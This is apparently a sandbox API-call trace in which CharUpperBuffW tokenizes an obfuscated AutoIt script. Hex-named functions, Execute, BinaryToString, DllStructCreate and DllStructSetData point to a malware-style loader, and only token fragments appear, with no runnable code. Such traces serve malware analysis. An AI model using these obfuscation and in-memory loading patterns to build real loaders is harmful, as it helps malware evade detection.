CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0077.950] CharUpperBuffW (in: lpsz="DC5F9E4C7C7486F444A04A1438F53349", cchLength=0x20 | out: lpsz="DC5F9E4C7C7486F444A04A1438F53349") returned 0x20 [0077.950] CharUpperBuffW (in: lpsz="DC5F9E4C7C7486F444A04A1438F53349", cchLength=0x20 | out: lpsz="DC5F9E4C7C7486F444A04A1438F53349") returned 0x20 [0077.950] CharUpperBuffW (in: lpsz="FA39CF41CED8EB2810F4476D567D84F0", cchLength=0x20 | out: lpsz="FA39CF41CED8EB2810F4476D567D84F0") returned 0x20 [0077.950] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.950] CharUpperBuffW (in: lpsz="_S0xDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0077.950] CharUpperBuffW (in: lpsz="8690DF62828F61643BA1FACB21B0DAE4", cchLength=0x20 | out: lpsz="8690DF62828F61643BA1FACB21B0DAE4") returned 0x20 [0077.950] CharUpperBuffW (in: lpsz="BinaryToString", cchLength=0xe | out: lpsz="BINARYTOSTRING") returned 0xe [0077.950] CharUpperBuffW (in: lpsz="_S0x5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0077.950] CharUpperBuffW (in: lpsz="DC5F9E4C7C7486F444A04A1438F53349", cchLength=0x20 | out: lpsz="DC5F9E4C7C7486F444A04A1438F53349") returned 0x20 [0077.951] CharUpperBuffW (in: lpsz="A004D8DBA8473C461465D68FAC70F8A3", cchLength=0x20 | out: lpsz="A004D8DBA8473C461465D68FAC70F8A3") returned 0x20 [0077.951] CharUpperBuffW (in: lpsz="655F5F8DAAF4A8700FF43C84BFEC8FE8", cchLength=0x20 | out: lpsz="655F5F8DAAF4A8700FF43C84BFEC8FE8") returned 0x20 [0077.951] CharUpperBuffW (in: lpsz="StringReplace", cchLength=0xd | out: lpsz="STRINGREPLACE") returned 0xd [0077.951] CharUpperBuffW (in: lpsz="8690DF62828F61643BA1FACB21B0DAE4", cchLength=0x20 | out: lpsz="8690DF62828F61643BA1FACB21B0DAE4") returned 0x20 [0077.951] CharUpperBuffW (in: lpsz="B63", cchLength=0x3 | out: lpsz="B63") returned 0x3 [0077.951] CharUpperBuffW (in: lpsz="Execute", cchLength=0x7 | out: lpsz="EXECUTE") returned 0x7 [0077.951] CharUpperBuffW (in: lpsz="FileWrite", cchLength=0x9 | out: lpsz="FILEWRITE") returned 0x9 [0077.951] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.951] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.952] CharUpperBuffW (in: lpsz="655F5F8DAAF4A8700FF43C84BFEC8FE8", cchLength=0x20 | out: lpsz="655F5F8DAAF4A8700FF43C84BFEC8FE8") returned 0x20 [0077.952] CharUpperBuffW (in: lpsz="JKKVEEE", cchLength=0x7 | out: lpsz="JKKVEEE") returned 0x7 [0077.952] CharUpperBuffW (in: lpsz="AutoItExe", cchLength=0x9 | out: lpsz="AUTOITEXE") returned 0x9 [0077.952] CharUpperBuffW (in: lpsz="_S0xB4x2737C68F", cchLength=0xf | out: lpsz="_S0XB4X2737C68F") returned 0xf [0077.952] CharUpperBuffW (in: lpsz="JKKVEEE", cchLength=0x7 | out: lpsz="JKKVEEE") returned 0x7 [0077.952] CharUpperBuffW (in: lpsz="_S0xB4259E6Bx2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.952] CharUpperBuffW (in: lpsz="ScriptDir", cchLength=0x9 | out: lpsz="SCRIPTDIR") returned 0x9 [0077.952] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.952] CharUpperBuffW (in: lpsz="Execute", cchLength=0x7 | out: lpsz="EXECUTE") returned 0x7 [0077.952] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.953] CharUpperBuffW (in: lpsz="_S0xB4x2737C68F", cchLength=0xf | out: lpsz="_S0XB4X2737C68F") returned 0xf [0077.953] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.953] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.953] CharUpperBuffW (in: lpsz="Execute", cchLength=0x7 | out: lpsz="EXECUTE") returned 0x7 [0077.953] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.953] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.953] CharUpperBuffW (in: lpsz="_S0fza737C68F", cchLength=0xd | out: lpsz="_S0FZA737C68F") returned 0xd [0077.953] CharUpperBuffW (in: lpsz="8z4EzBzB3", cchLength=0x9 | out: lpsz="8Z4EZBZB3") returned 0x9 [0077.953] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.953] CharUpperBuffW (in: lpsz="ProcessExists", cchLength=0xd | out: lpsz="PROCESSEXISTS") returned 0xd [0077.954] CharUpperBuffW (in: lpsz="8z4EzBzB3", cchLength=0x9 | out: lpsz="8Z4EZBZB3") returned 0x9 [0077.954] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.954] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.954] CharUpperBuffW (in: lpsz="_S0xB4259E6Bx2737C3D468F", cchLength=0x18 | out: lpsz="_S0XB4259E6BX2737C3D468F") returned 0x18 [0077.954] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.954] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.954] CharUpperBuffW (in: lpsz="FileGetShortName", cchLength=0x10 | out: lpsz="FILEGETSHORTNAME") returned 0x10 [0077.954] CharUpperBuffW (in: lpsz="8BCFFF4E6BF1B2EB3", cchLength=0x11 | out: lpsz="8BCFFF4E6BF1B2EB3") returned 0x11 [0077.954] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.955] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.955] CharUpperBuffW (in: lpsz="_S0xDECB6E1F7A1579B054389D9327C67D72", cchLength=0x24 | out: lpsz="_S0XDECB6E1F7A1579B054389D9327C67D72") returned 0x24 [0077.955] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.955] CharUpperBuffW (in: lpsz="dskkhlkjqsdfg2sdfg6", cchLength=0x13 | out: lpsz="DSKKHLKJQSDFG2SDFG6") returned 0x13 [0077.955] CharUpperBuffW (in: lpsz="For", cchLength=0x3 | out: lpsz="FOR") returned 0x3 [0077.955] CharUpperBuffW (in: lpsz="079E54EF12FAB3EB258506F98F11BF58", cchLength=0x20 | out: lpsz="079E54EF12FAB3EB258506F98F11BF58") returned 0x20 [0077.955] CharUpperBuffW (in: lpsz="To", cchLength=0x2 | out: lpsz="TO") returned 0x2 [0077.955] CharUpperBuffW (in: lpsz="dskkhlkjqsdfg2sdfg6", cchLength=0x13 | out: lpsz="DSKKHLKJQSDFG2SDFG6") returned 0x13 [0077.956] CharUpperBuffW (in: lpsz="Chr", cchLength=0x3 | out: lpsz="CHR") returned 0x3 [0077.956] CharUpperBuffW (in: lpsz="Random", cchLength=0x6 | out: lpsz="RANDOM") returned 0x6 [0077.956] CharUpperBuffW (in: lpsz="Next", cchLength=0x4 | out: lpsz="NEXT") returned 0x4 [0077.956] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.956] CharUpperBuffW (in: lpsz="dskkhlkjqsdfg2sdfg6", cchLength=0x13 | out: lpsz="DSKKHLKJQSDFG2SDFG6") returned 0x13 [0077.956] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.956] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.956] CharUpperBuffW (in: lpsz="_BD57ZSFSDEEEQ", cchLength=0xe | out: lpsz="_BD57ZSFSDEEEQ") returned 0xe [0077.956] CharUpperBuffW (in: lpsz="s_String", cchLength=0x8 | out: lpsz="S_STRING") returned 0x8 [0077.956] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.957] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.957] CharUpperBuffW (in: lpsz="v_Case", cchLength=0x6 | out: lpsz="V_CASE") returned 0x6 [0077.957] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.957] CharUpperBuffW (in: lpsz="Resource", cchLength=0x8 | out: lpsz="RESOURCE") returned 0x8 [0077.957] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.957] CharUpperBuffW (in: lpsz="v_Case", cchLength=0x6 | out: lpsz="V_CASE") returned 0x6 [0077.957] CharUpperBuffW (in: lpsz="Default", cchLength=0x7 | out: lpsz="DEFAULT") returned 0x7 [0077.957] CharUpperBuffW (in: lpsz="Or", cchLength=0x2 | out: lpsz="OR") returned 0x2 [0077.957] CharUpperBuffW (in: lpsz="v_Case", cchLength=0x6 | out: lpsz="V_CASE") returned 0x6 [0077.958] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.958] CharUpperBuffW (in: lpsz="Resource", cchLength=0x8 | out: lpsz="RESOURCE") returned 0x8 [0077.958] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.958] CharUpperBuffW (in: lpsz="s_pattern_escape", cchLength=0x10 | out: lpsz="S_PATTERN_ESCAPE") returned 0x10 [0077.958] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.958] CharUpperBuffW (in: lpsz="StringRegExpReplace", cchLength=0x13 | out: lpsz="STRINGREGEXPREPLACE") returned 0x13 [0077.958] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.958] CharUpperBuffW (in: lpsz="s_pattern_escape", cchLength=0x10 | out: lpsz="S_PATTERN_ESCAPE") returned 0x10 [0077.959] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.959] CharUpperBuffW (in: lpsz="StringRegExpReplace", cchLength=0x13 | out: lpsz="STRINGREGEXPREPLACE") returned 0x13 [0077.959] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.959] CharUpperBuffW (in: lpsz="s_pattern_escape", cchLength=0x10 | out: lpsz="S_PATTERN_ESCAPE") returned 0x10 [0077.959] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.959] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.959] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.959] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.959] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.960] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.960] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.960] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.960] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.960] CharUpperBuffW (in: lpsz="a_ret", cchLength=0x5 | out: lpsz="A_RET") returned 0x5 [0077.960] CharUpperBuffW (in: lpsz="StringRegExp", cchLength=0xc | out: lpsz="STRINGREGEXP") returned 0xc [0077.960] CharUpperBuffW (in: lpsz="s_String", cchLength=0x8 | out: lpsz="S_STRING") returned 0x8 [0077.960] CharUpperBuffW (in: lpsz="Resource", cchLength=0x8 | out: lpsz="RESOURCE") returned 0x8 [0077.960] CharUpperBuffW (in: lpsz="s_Start", cchLength=0x7 | out: lpsz="S_START") returned 0x7 [0077.961] CharUpperBuffW (in: lpsz="s_End", cchLength=0x5 | out: lpsz="S_END") returned 0x5 [0077.961] CharUpperBuffW (in: lpsz="If", cchLength=0x2 | out: lpsz="IF") returned 0x2 [0077.961] CharUpperBuffW (in: lpsz="error", cchLength=0x5 | out: lpsz="ERROR") returned 0x5 [0077.961] CharUpperBuffW (in: lpsz="Then", cchLength=0x4 | out: lpsz="THEN") returned 0x4 [0077.961] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.961] CharUpperBuffW (in: lpsz="SetError", cchLength=0x8 | out: lpsz="SETERROR") returned 0x8 [0077.961] CharUpperBuffW (in: lpsz="Return", cchLength=0x6 | out: lpsz="RETURN") returned 0x6 [0077.961] CharUpperBuffW (in: lpsz="a_ret", cchLength=0x5 | out: lpsz="A_RET") returned 0x5 [0077.962] CharUpperBuffW (in: lpsz="EndFunc", cchLength=0x7 | out: lpsz="ENDFUNC") returned 0x7 [0077.962] CharUpperBuffW (in: lpsz="Func", cchLength=0x4 | out: lpsz="FUNC") returned 0x4 [0077.962] CharUpperBuffW (in: lpsz="_S0x5137D1CF25FE12128ADD3AC944C602CE", cchLength=0x24 | out: lpsz="_S0X5137D1CF25FE12128ADD3AC944C602CE") returned 0x24 [0077.962] CharUpperBuffW (in: lpsz="7F6C628AB520F90CFCF53", cchLength=0x15 | out: lpsz="7F6C628AB520F90CFCF53") returned 0x15 [0077.962] CharUpperBuffW (in: lpsz="D49132A476FE659BA30791AEB0D5EE9F", cchLength=0x20 | out: lpsz="D49132A476FE659BA30791AEB0D5EE9F") returned 0x20 [0077.962] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.962] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.962] CharUpperBuffW (in: lpsz="46014F79ED3EF30B114AEF13E94E1ADE", cchLength=0x20 | out: lpsz="46014F79ED3EF30B114AEF13E94E1ADE") returned 0x20 [0077.962] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.962] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.963] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.964] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.965] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.966] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.967] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.968] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.969] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.970] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.971] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.971] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.971] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.971] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.971] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.973] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.973] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.973] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.973] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.973] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.974] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.975] CharUpperBuffW (in: lpsz="xxxx", cchLength=0x4 | out: lpsz="XXXX") returned 0x4 [0077.976] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.976] CharUpperBuffW (in: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3", cchLength=0x20 | out: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3") returned 0x20 [0077.976] CharUpperBuffW (in: lpsz="DllStructCreate", cchLength=0xf | out: lpsz="DLLSTRUCTCREATE") returned 0xf [0077.976] CharUpperBuffW (in: lpsz="BinaryLen", cchLength=0x9 | out: lpsz="BINARYLEN") returned 0x9 [0077.976] CharUpperBuffW (in: lpsz="46014F79ED3EF30B114AEF13E94E1ADE", cchLength=0x20 | out: lpsz="46014F79ED3EF30B114AEF13E94E1ADE") returned 0x20 [0077.976] CharUpperBuffW (in: lpsz="DllStructSetData", cchLength=0x10 | out: lpsz="DLLSTRUCTSETDATA") returned 0x10 [0077.976] CharUpperBuffW (in: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3", cchLength=0x20 | out: lpsz="0D65E24FF0E10ADFDA9E7BF4AAB42CE3") returned 0x20 [0077.976] CharUpperBuffW (in: lpsz="46014F79ED3EF30B114AEF13E94E1ADE", cchLength=0x20 | out: lpsz="46014F79ED3EF30B114AEF13E94E1ADE") returned 0x20 [0077.976] CharUpperBuffW (in: lpsz="Local", cchLength=0x5 | out: lpsz="LOCAL") returned 0x5 [0077.977] CharUpperBuffW (in: lpsz="1D8D88E7EADD439B6AC7F4", cchLength=0x16 | out: lpsz="1D8D88E7EADD439B6AC7F4") returned 0x16 [0077.977] CharUpperBuffW (in: lpsz="DllStructCreate", cchLength=0xf | out: lpsz="DLLSTRUCTCREATE") returned 0xf [0077.977] CharUpperBuffW (in: lpsz="BinaryLen", cchLength=0x9 | out: lpsz="BINARYLEN") returned 0x9 [0077.977] CharUpperBuffW (in: lpsz="7F6C628AB520F90CFCF53", cchLength=0x15 | out: lpsz="7F6C628AB520F90CFCF53") returned 0x15 [0077.977] CharUpperBuffW (in: lpsz="DllStructSetData", cchLength=0x10 | out: lpsz="DLLSTRUCTSETDATA") returned 0x10 [0077.977] CharUpperBuffW (in: lpsz="1D8D88E7EADD439B6AC7F4", cchLength=0x16 | out: lpsz="1D8D88E7EADD439B6AC7F4") returned 0x16 [0077.977] CharUpperBuffW (in: lpsz="7F6C628AB520F90CFCF53", cchLength=0x15 | out: lpsz="7F6C628AB520F90CFCF53") returned 0x15 [0077.977] 